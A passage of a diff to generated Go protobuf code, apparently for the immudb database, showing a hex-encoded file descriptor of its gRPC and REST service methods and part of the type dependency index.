0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, - 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, - 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, - 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, - 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, - 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, - 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, - 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, - 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, - 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, - 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, - 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, - 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, - 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, - 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, - 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, - 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, + 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, + 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, + 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, + 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, + 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, + 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, + 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, + 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, + 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, + 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, + 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, + 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, + 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10485,156 +10483,155 @@ var file_schema_proto_depIdxs = []int32{ 2, // 137: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode 76, // 138: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 80, // 139: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 80, // 140: immudb.schema.TruncateDatabaseRequest.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 116, // 141: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 116, // 142: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 134, // 143: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 144: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 145: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 100, // 146: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 101, // 147: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 148: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 149: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 150: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 134, // 151: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 134, // 152: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 117, // 153: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 134, // 154: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 134, // 155: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 108, // 156: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 157: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 158: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 134, // 159: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 160: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 161: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 162: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 163: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 164: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 165: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 166: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 167: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 168: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 134, // 169: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 170: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 171: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 172: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 173: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 174: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 134, // 175: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 134, // 176: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 134, // 177: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 178: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 179: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 180: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 181: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 182: 